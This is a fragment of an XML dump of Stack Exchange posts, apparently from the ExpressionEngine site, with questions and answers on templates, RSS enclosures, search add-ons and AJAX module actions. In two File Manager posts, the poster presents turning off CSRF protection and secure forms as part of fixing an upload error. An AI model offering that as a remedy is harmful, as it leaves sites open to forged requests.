  <row Id="35167" PostTypeId="2" ParentId="35166" CreationDate="2016-01-04T12:55:19.083" Score="0" Body="&lt;p&gt;You'll need to quote all of your plugin-generated variables inside your conditionals and remove the braces from &lt;code&gt;current_time&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think you need all the &lt;code&gt;elseif&lt;/code&gt; conditions - you should be able to do this with a series of &lt;code&gt;if&lt;/code&gt; statements since they are all mutually-exclusive - that will read a little cleaner.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_time &amp;gt;= '{exp:str_to_time date=&quot;November 6th, {current_time format='%Y'}&quot;}' &#xA;    &amp;amp;&amp;amp; current_time &amp;lt;= '{exp:str_to_time date=&quot;January 7th, {current_time format='%Y'}&quot;}'}&#xA;        6 Jan&#xA;{/if}&#xA;&#xA;{if current_time &amp;gt;= '{exp:str_to_time date=&quot;January 6th, {current_time format='%Y'}&quot;}' &#xA;    &amp;amp;&amp;amp; current_time &amp;lt;= '{exp:str_to_time date=&quot;February 21st, {current_time format='%Y'}&quot;}'}&#xA;        20 Feb&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Etc.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2016-01-04T12:55:19.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35168" PostTypeId="2" ParentId="35165" CreationDate="2016-01-04T13:07:03.090" Score="0" Body="&lt;p&gt;Actually, I've realised it was an issue with the Adobe Flash plugin, I've updated it from here &lt;a href=&quot;https://get.adobe.com/flashplayer/&quot; rel=&quot;nofollow&quot;&gt;https://get.adobe.com/flashplayer/&lt;/a&gt; and it all seems to be working normally now.&lt;/p&gt;&#xA;" OwnerUserId="6932" LastActivityDate="2016-01-04T13:07:03.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35169" PostTypeId="2" ParentId="35164" CreationDate="2016-01-04T16:16:00.140" Score="0" Body="&lt;p&gt;Third party add-on's data does not get duplicated when you duplicate current channel entries into a new MSM site. EE also doesn't have hooks for this, so it isn't easy for any third party add-on to automate this at all. As far as I know, very few or none even provide a tool for accomplishing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to write a script to port data from one site to another. You'll need to take a look at the database tables Channel Images uses and work out how to duplicate your data associations from your old &lt;code&gt;field_id&lt;/code&gt;, &lt;code&gt;entry_id&lt;/code&gt;, &lt;code&gt;channel_id&lt;/code&gt;, and &lt;code&gt;site_id&lt;/code&gt;, to your new ones (the new, duplicated channel entries). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this with other add-ons but not Channel Images. You'll have to work it out yourself; you may want to contact the Channel Images author if you run in to trouble understanding their data structures.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-04T16:16:00.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35170" PostTypeId="1" AcceptedAnswerId="36057" CreationDate="2016-01-04T20:38:30.350" Score="0" ViewCount="165" Body="&lt;p&gt;I need to display an RSS feed on my site. I could use the built in RSS_Parser add-on, however that add-on does not appear to support adding an item enclosure (image). This is a requirement for this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have elected to write my own. I have loaded the SimplePie library and I have it essentially working, just like the native Add-On, but the enclosure is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to put all the attributes into an array, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $items[] = array(&#xA;            'item_title'        =&amp;gt; $item-&amp;gt;get_title(),&#xA;            'item_link'         =&amp;gt; $item-&amp;gt;get_permalink(),&#xA;            'item_date'         =&amp;gt; $item-&amp;gt;get_date('U'),&#xA;            'item_content'      =&amp;gt; $item-&amp;gt;get_content(),&#xA;            'item_img'          =&amp;gt;  $item-&amp;gt;get_enclosure(),&#xA;            'item_description'  =&amp;gt; $item-&amp;gt;get_description(),&#xA;            'item_categories'   =&amp;gt; $categories,&#xA;            'item_authors'      =&amp;gt; $authors&#xA;        );&#xA;    }&#xA;    return $items;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when using the item_img tag in the template, it returns a string of gibberish. Anyone know how to get it to return the url to the enclosure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feed i'm trying to parse is here: &lt;a href=&quot;http://tntoday.utk.edu/feed/&quot; rel=&quot;nofollow&quot;&gt;http://tntoday.utk.edu/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this with straight-up PHP, but having it as an add-on, easily accessible to content editors throughout the site would be greatly preferred.&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2016-04-05T16:22:16.863" Title="Custom AddOn, Using SimplePie to display an enclosure" Tags="|add-on-development|rss|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35171" PostTypeId="1" CreationDate="2016-01-04T20:42:24.890" Score="0" ViewCount="48" Body="&lt;p&gt;We have an EE v2.5 site that has been running fine for years. Now over the past few months accessing the control panel has gotten slower and slower. The site still works fine it is only the control panel that is slow. It can take up to 10min for the control panel to respond to logging in or any other page on the control panel site. I have tried disabling all extensions by setting &lt;code&gt;$config['allow_extensions'] = 'n';&lt;/code&gt; in the expressionengine/config/config.php file, but this did not seem to make a difference. I also optimized the MySQL databases. The servers get very little traffic (few hundred page loads a day). The web and database servers each have plenty of hardware resources (4 cores/4GB ram) and plenty of disk space. Any idea what the issue might be? Thx!&lt;/p&gt;&#xA;" OwnerUserId="6963" LastActivityDate="2016-01-05T16:23:49.117" Title="EE control panel pages take 10min to load" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35173" PostTypeId="2" ParentId="35170" CreationDate="2016-01-05T05:25:17.993" Score="0" Body="&lt;p&gt;Try a simple test like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feed = new SimplePie();&#xA;$feed-&amp;gt;set_feed_url('http://tntoday.utk.edu/feed/');&#xA;$feed-&amp;gt;init();&#xA;$feed-&amp;gt;handle_content_type();&#xA;&#xA;foreach ($feed-&amp;gt;get_items() as $item)&#xA;{&#xA;    if ($enclosure = $item-&amp;gt;get_enclosure())&#xA;    {&#xA;        echo $enclosure-&amp;gt;embed();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do you get?&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2016-01-05T05:25:17.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35174" PostTypeId="2" ParentId="35171" CreationDate="2016-01-05T05:32:37.257" Score="0" Body="&lt;p&gt;This is clearly an issue with your server. Have you contacted your host? They should be able to shed some light on the issue. There has to be a bottleneck somewhere, and an experienced db admin should be able to get to the bottom of this by checking logs and configs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here's a related thread that might include a few useful pointers: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4848/slow-control-panel-js-and-css-loads&quot;&gt;Slow control panel js and css loads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-01-05T05:32:37.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35177" PostTypeId="1" CreationDate="2016-01-05T16:21:26.360" Score="0" ViewCount="42" Body="&lt;p&gt;I need to have a single option in a dropdown list that produces results from more than one value, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;length&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Any Length&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;3+4+5&quot;&amp;gt;3-5 Days&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;6+7+8+9&quot;&amp;gt;6-9 Days&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10+11+12+13+14&quot;&amp;gt;10-14 Days&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, the first option works for 3, 4 and 5 days, but it also includes 13, 14 and 15. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried numerous variations without success. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2564" LastEditorUserId="2564" LastEditDate="2016-01-05T16:35:03.700" LastActivityDate="2016-06-08T19:20:41.027" Title="Select an option value with multiple options" Tags="|supersearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35178" PostTypeId="2" ParentId="35171" CreationDate="2016-01-05T16:23:49.117" Score="1" Body="&lt;p&gt;Have you tried turning off New Version Auto Check under General Configuration?&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2016-01-05T16:23:49.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35179" PostTypeId="2" ParentId="35177" CreationDate="2016-01-05T16:49:30.723" Score="0" Body="&lt;p&gt;I'm not sure you can accomplish what you're looking to with a select field and SuperSearch. One solution would be to use two fields and the &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;to&lt;/code&gt; modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/expressionengine/super-search/docs/form/#customfield-from&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/super-search/docs/form/#customfield-from&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/expressionengine/super-search/docs/form/#customfield-to&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/super-search/docs/form/#customfield-to&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to run with a select, you can work some front-end magic with jQuery. Stop the propagation of the form submittal, and get the value of the &lt;code&gt;length&lt;/code&gt; select. Then set two hidden &lt;code&gt;input&lt;/code&gt; fields with the &lt;code&gt;customefield-from&lt;/code&gt; and &lt;code&gt;customefield-to&lt;/code&gt; value you'd like (3-5, 6-9, etc..), and continue with the form submit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might still be possible; the documentation is your friend, dig in, I may have missed something.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-05T16:49:30.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35182" PostTypeId="1" CreationDate="2016-01-06T12:02:02.693" Score="0" ViewCount="349" Body="&lt;p&gt;I have a channel field &lt;strong&gt;Text Input&lt;/strong&gt; where I need to store numbers with comma as a &lt;strong&gt;string&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the fields &lt;em&gt;Field Content&lt;/em&gt; to &lt;code&gt;All&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, if I enter a comma in the field, like in &lt;code&gt;2,5&lt;/code&gt;, the field value is changed to &lt;code&gt;2.0000&lt;/code&gt; after publishing. But I need it to stay the string &lt;code&gt;2,5&lt;/code&gt;. My database is full of the strings like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? Does the channel still think it is a decimal or number even though I set it to &lt;code&gt;All&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read this article: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/32694/expresso-store-comma-in-quantity-field&quot;&gt;Expresso-store - Comma in quantity field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't change the existing content in my database and also I need the data to be strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version is 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="6794" LastEditorUserId="6794" LastEditDate="2016-01-06T15:21:02.830" LastActivityDate="2016-01-07T15:23:00.543" Title="Comma in Text Input" Tags="|custom-fields|fieldtype|channel-fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35184" PostTypeId="2" ParentId="35115" CreationDate="2016-01-06T14:18:26.353" Score="0" Body="&lt;p&gt;As long as the alternative method of shipping is simple enough, we usually use the &lt;strong&gt;Customer Selectable Flat Rates&lt;/strong&gt; shipping method to allow for this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of our clients has the default set to Standard with a flat shipping fee, but also an additional option for Pick Up in Store at no cost. You could also add in other options for Ground, Express, 2-day, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the alternative method of shipping is more complicated such as live rates or By Location/Weight, we then create a custom plugin based on their preferred shipping plugin but simply adding in Pick Up in Store to the array of options manually.&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2016-01-06T14:18:26.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35186" PostTypeId="1" CreationDate="2016-01-06T15:36:08.307" Score="0" ViewCount="61" Body="&lt;p&gt;I have a simple search form.  When the results are displayed, it doesn't show the template group / template in the URL.  It shows just the entry URL.  I'm using the {auto_path} variable.  I realize I could go into each channel and change the URL, but is there an easier way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot;}&#xA;&#xA;&amp;lt;tr class=&quot;{switch}&quot;&amp;gt;&#xA;    &amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;{excerpt}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{entry_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2016-06-14T16:45:30.740" Title="Search Results Links Not Working" Tags="|search|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35187" PostTypeId="1" CreationDate="2016-01-06T16:09:15.073" Score="0" ViewCount="20" Body="&lt;p&gt;I wonder if anyone else has had problems with all the fields disappearing from new entry tabs?  I have the tabs but no drop downs etc.  I've also stopped receiving comment notifications? I'm on EE 2.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="6970" LastActivityDate="2016-05-03T05:27:17.680" Title="All new entry tabs are blank (date, categories etc)" Tags="|control-panel|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35189" PostTypeId="1" CreationDate="2016-01-06T16:13:33.387" Score="0" ViewCount="71" Body="&lt;p&gt;Probably a obvious answer, apologies in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running EE v2.8.1 and LOW Search 3.4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some instances we want to be able to search entries but ONLY return results where a particular field is NOT empty... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this within the {exp:low_search:form} param_value OR with a hidden field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I assumed these would work but do not appear to, first using a hidden field: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;search:my_field&quot; value=&quot;not IS_EMPTY&quot; &amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or as a param_value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form search:my_field=&quot;not IS_EMPTY&quot;}&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="886" LastActivityDate="2016-05-21T22:01:15.317" Title="{exp:low_search:form}" Tags="|search|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35190" PostTypeId="2" ParentId="35189" CreationDate="2016-01-06T16:16:33.350" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;search:my_field&quot; value=&quot;not IS_EMPTY&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This actually works, I'm sure I tested this?! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More. Coffee. Required.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2016-01-06T16:16:33.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35192" PostTypeId="2" ParentId="35146" CreationDate="2016-01-06T19:17:11.340" Score="0" Body="&lt;p&gt;I fixed this by inserting the following after line 213 in datagrab_matrix.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE-&gt;db-&gt;where( 'site_id', $this-&gt;EE-&gt;config-&gt;item('site_id') );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the datagrab import wasn't taking the site_id into consideration.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2016-01-06T19:17:11.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35193" PostTypeId="2" ParentId="35186" CreationDate="2016-01-06T21:09:51.243" Score="0" Body="&lt;p&gt;No, there's not an easier way, however in the sites I've built I don't usually mess with the channel path settings. Instead I usually use a conditional based on the channel short name to form the search results and link. Keep it all in the template, ya know?&lt;/p&gt;&#xA;" OwnerUserId="766" LastActivityDate="2016-01-06T21:09:51.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35196" PostTypeId="1" CreationDate="2016-01-07T09:58:44.163" Score="0" ViewCount="100" Body="&lt;p&gt;I want to display single image on front-end by using matrix module. when I am uploading 2 image in slider I can see both image in slider but if i upload single image i can not see image at front-end.It display nothing.So Can you please help me to resolve this issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; dynamic=&quot;yes&quot;}&#xA;    {middle_slider}&#xA;        &amp;lt;div class=&quot;item&quot; style=&quot;background-image: url('{slide_image}');&quot;&amp;gt;&#xA;            {if hide_one_page_middle_slider_quot == &quot;No&quot;}&#xA;                &amp;lt;img alt=&quot;img&quot; src=&quot;{site_url}/assets/images/quote-left.png&quot;&amp;gt;&#xA;            {/if}&#xA;            {slide_content}&#xA;            {author}&#xA;        &amp;lt;/div&amp;gt;‌&#xA;    ​{/middle_slider} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6822" LastEditorUserId="425" LastEditDate="2016-01-07T15:01:58.273" LastActivityDate="2016-05-19T07:27:43.347" Title="How can i display single image on front-end by using matrix module?" Tags="|matrix|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35197" PostTypeId="1" AcceptedAnswerId="35201" CreationDate="2016-01-07T11:50:47.317" Score="0" ViewCount="65" Body="&lt;p&gt;I have a template containing sections and I'd like to process just the tagdata that is contained between the tags related to the button, and only when the button is selected (not when the page renders):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:plugin:foo}&#xA; &amp;lt;button&amp;gt;process&amp;lt;/button&amp;gt;&#xA;    some content….&#xA;{/exp:plugin:foo}&#xA;&#xA;some other content&#xA;{exp:plugin:foo}&#xA; &amp;lt;button&amp;gt;process&amp;lt;/button&amp;gt;&#xA;    some more content….&#xA;{/exp:plugin:foo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to pass the relevant content (the tagdata from between the same tags as the button that has been pressed) to a custom function where I process it (to create a file), but I need to be able to pick out the data from within the selected tags, not the whole page, and I need to trigger this event after the page has fully loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I deal with the button action, calling 'ACT=' doesn't let me use '$this-&gt;EE-&gt;TMPL-&gt;tagdata'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to parse and pick out the tagdata I need once the template data is available?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2016-01-07T15:42:10.253" LastActivityDate="2016-01-07T16:18:54.270" Title="Processing a specific section of a template, after it's loaded" Tags="|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35198" PostTypeId="2" ParentId="35182" CreationDate="2016-01-07T15:23:00.543" Score="1" Body="&lt;p&gt;&quot;My database is full of the strings like this&quot; - so you already have the values correctly stored in EE entries? Or are you referring to a different database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I set the field&lt;strong&gt;s&lt;/strong&gt; Field Content to &lt;code&gt;All&lt;/code&gt;.&quot; - this sounds like the problem, I'm guessing you have text formatting on with override on publish page and you're setting All on the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Admin -&gt; Channel Administration -&gt; Channel Fields, then select the field group and then select the field in question &quot;Field Content&quot;. You mentioned it's a Text input field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5ifys.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ifys.png&quot; alt=&quot;field type set to text input&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down till you see the &lt;em&gt;Field Options&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FsDfK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FsDfK.png&quot; alt=&quot;Field Options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the &lt;code&gt;Default Text Formatting&lt;/code&gt; option to &lt;strong&gt;None&lt;/strong&gt; and the &lt;code&gt;Allow override on publish page?&lt;/code&gt; to &lt;strong&gt;No&lt;/strong&gt;. I have fields with these settings and it honours exactly what I've entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still Issues?  Check that you are using the native Text Input field, not a third party field, and that there's not an extension saving or parsing the data (Publisher, Better Workflow, etc). Best way to check is just disabling extensions and saving an entry again - checking the results in the database.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-01-07T15:23:00.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35200" PostTypeId="2" ParentId="35162" CreationDate="2016-01-07T16:16:47.817" Score="0" Body="&lt;p&gt;I made the changes outlined in &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21481/fatal-error-after-submitting-entry-from-frontend&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; and it solved my issues. &lt;/p&gt;&#xA;" OwnerUserId="6968" LastActivityDate="2016-01-07T16:16:47.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35201" PostTypeId="2" ParentId="35197" CreationDate="2016-01-07T16:18:54.270" Score="2" Body="&lt;p&gt;Thanks for adding some details, but I'm still slightly confused. I'll lay out an attempt (too long for a comment anyways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have some content that you want processed (into a file format?), but not until a browser event is triggered. Some clarification about ways to write modules for ExpressionEngine may help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A module can return data in multiple ways. One way is to return tag data when the template engine calls your module. Another way is to use ACTion id's to return data via AJAX and/or GET/POST requests. A third way (not pertinent) is to import your module into other modules, or extract your logic into a library that can be included in different places in an addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to process some data presented in a template, but also want to use the same logic to be able to render some data on the fly on an already rendered template. Your module can do this with basically little modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one way to get params to be processed is to get it selectively from the request context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (AJAX_REQUEST) {&#xA;&#xA;    // get from AJAX param&#xA;    $my_param = ee()-&amp;gt;input-&amp;gt;get_post('my_param');&#xA;} else {&#xA;&#xA;    // get from template param    &#xA;    $my_param = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('my_param');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, you simply proceed as you normally would with your module method's logic. When it comes time to return that information, you can do so, again, with the appropriate method based on request context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (AJAX_REQUEST) {&#xA;&#xA;    // return (make sure this is JSONified for ease of use)  &#xA;    ee()-&amp;gt;output-&amp;gt;send_ajax_response($this-&amp;gt;return_data);&#xA;} else {&#xA;&#xA;    // return template tag data&#xA;    return ee()-&amp;gt;TMPL-&amp;gt;parse_variables(ee()-&amp;gt;TMPL-&amp;gt;tagdata, array($this-&amp;gt;return_data));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So with this methodology, you can use the same method to process and present information when the template is rendered but you can also use a jQuery AJAX request to that ACTion id (with the parameters as part of the request instead of as template params) to do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need to reuse your logic, then this answer won't help you. If you simply need to asynchronously process data, just use jQuery and AJAX to hit a module method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function() {&#xA;    $(&quot;#my_button&quot;).click(function() {&#xA;&#xA;        // get info from already rendered stuff&#xA;        var my_param = $(&quot;#my_already_rendered_element&quot;).val();&#xA;&#xA;        $.get( '/?ACT=12345', {my_param:my_param}, function(data){&#xA;&#xA;            // dump returned dynamic info into an element&#xA;            $('#my_dynamic_element').val(data.dynamic_return_var);&#xA;        });&#xA;&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this isn't helping, add another edit to your question that clearly maps out the data path you're seeking, as I may not be understanding you still.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-07T16:18:54.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35203" PostTypeId="1" AcceptedAnswerId="35210" CreationDate="2016-01-08T01:26:35.287" Score="1" ViewCount="160" Body="&lt;p&gt;Does anyone know the best way to add a 'Clear' button to Freeform forms that would clear all fields?&lt;/p&gt;&#xA;" OwnerUserId="3113" LastActivityDate="2016-01-08T14:13:22.253" Title="'Clear' button for Freeform forms that clears all fields?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35206" PostTypeId="1" CreationDate="2016-01-08T11:30:19.590" Score="0" ViewCount="671" Body="&lt;p&gt;Attempting to upload a file in EE3 file manager triggers an error that says 'This form has expired. Please refresh and try again'. I have tried some config solutions that seem to have worked from EE2 version users such as disabling secure form protection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried including the following as another user suggested &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/377/cant-login-to-cp-after-logging-out?lq=2&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This did remove the error message, however now the upload page merely refreshes when you try to submit the upload. The upload does not complete and is not confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not seen many people have this issue when using File Manager, it seems to be mainly a login issue.&lt;/p&gt;&#xA;" OwnerUserId="6983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2017-12-14T17:58:03.903" Title="This form has expired. Please refresh and try again. in EE 3.0.5 File Manager" Tags="|file-uploads|file-manager|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35207" PostTypeId="2" ParentId="35206" CreationDate="2016-01-08T11:42:19.583" Score="1" Body="&lt;p&gt;Issue resolved. Uploading a smaller file size seems to have done the trick. Still requires:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6983" LastActivityDate="2016-01-08T11:42:19.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
